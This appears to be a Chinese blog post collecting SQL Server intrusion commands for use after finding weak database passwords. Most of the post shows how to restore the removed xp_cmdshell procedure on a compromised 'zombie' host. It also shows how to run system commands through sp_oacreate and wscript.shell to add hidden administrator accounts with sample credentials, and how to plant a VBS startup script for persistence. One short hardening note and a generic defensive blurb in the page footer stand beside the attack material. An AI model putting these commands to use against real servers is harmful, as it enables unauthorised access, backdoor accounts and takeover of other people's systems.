恢复xp_cmdshell

 

用这些命令恢复一下xp_cmdshell

开启cmdshellSQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了

使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
sp_dropextendedproc "xp_cmdshell"
就执行不了DOS命令了,当然用上面的语句可以复原。

SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个、、、拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
怎么解决????
上传文件也不行。。。
1
未能找到存储过程'master..xpcmdshell'

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕。

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕。

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕。

.终极方法:

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net user
新用户 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:/winnt/system32/cmd.exe /c net localgroup administrators
新用户 /add'

xp2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:/windows/system32/cmd.exe /c net user
新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators
新用户 /add'

还不行就没办法了

方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

然后按F5键命令执行完毕

方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕


1
未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕

.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
1,
查询分离器连接后,
2000servser
系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net user yszar andylau /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net localgroup administrators yszar /add'

xp2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 用户名 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 用户名 /add'

或者可以

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'XXXXX' //XXXXX
为你要执行的命令


有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc

解决方法:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
这段代码贴入查询分离器,执行


1.
突破xplog70.dll

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user
用户名 密码 /add','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators
用户名 /add','0','true'

2.恢复xp_cmdshell
先尝试恢复xp_cmdshellsp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
结果发现xpsql70.dll被删除。

然后写vbs文件到启动组里面:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c://docume~1//alluse~1//
「开始」菜单//程序//启动//a.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'

3.去除SAxp_cmdshell权限
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell
是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4.上传xplog7.0.dll

exec master.dbo.addextendedproc 'xp_cmdshell','c:/winnt/system32/xplog70.dll'

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server的xp_cmdshell是一种在数据库中执行操作系统级命令的功能。然而,xp_cmdshell也被黑客滥用,用于进行SQL Server注入攻击。 xp_cmdshell注入是一种利用SQL Server的xp_cmdshell的漏洞,通过构造恶意SQL语句来执行任意操作系统命令。攻击者可以将自己的恶意脚本嵌入到SQL查询中,并在成功执行攻击后,实现对操作系统的非授权访问。 为了防止xp_cmdshell注入,我们可以采取以下措施: 1. 最佳实践规范:在部署SQL Server时,应遵循最佳实践并限制对xp_cmdshell的使用。只有授权用户才能使用xp_cmdshell,并最小化对其的权限。 2. 存储过程控制:编写存储过程是一种减少xp_cmdshell注入风险的好方法。通过使用存储过程,可以在执行xp_cmdshell之前进行输入验证和参数验证,以防止恶意代码执行。 3. 输入验证:在开发和设计应用程序时,应该对用户提供的输入进行验证和过滤,以防止恶意代码或SQL注入的注入攻击。 4. 更新和补丁:及时安装SQL Server的更新和补丁是防止xp_cmdshell注入的关键。这些更新和补丁将修复已知的漏洞,并加强系统的安全性。 5. 审计和监控:配置SQL Server以记录和监视xp_cmdshell的使用是防止注入的另一种方法。通过实时监控xp_cmdshell的使用情况,可以及时发现和阻止潜在的注入攻击。 总之,防止xp_cmdshell注入是很重要的,我们需要采取适当措施保护SQL Server,如限制访问权限、验证输入、及时更新等。这样可以提高系统的安全性,并减少被黑客攻击的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值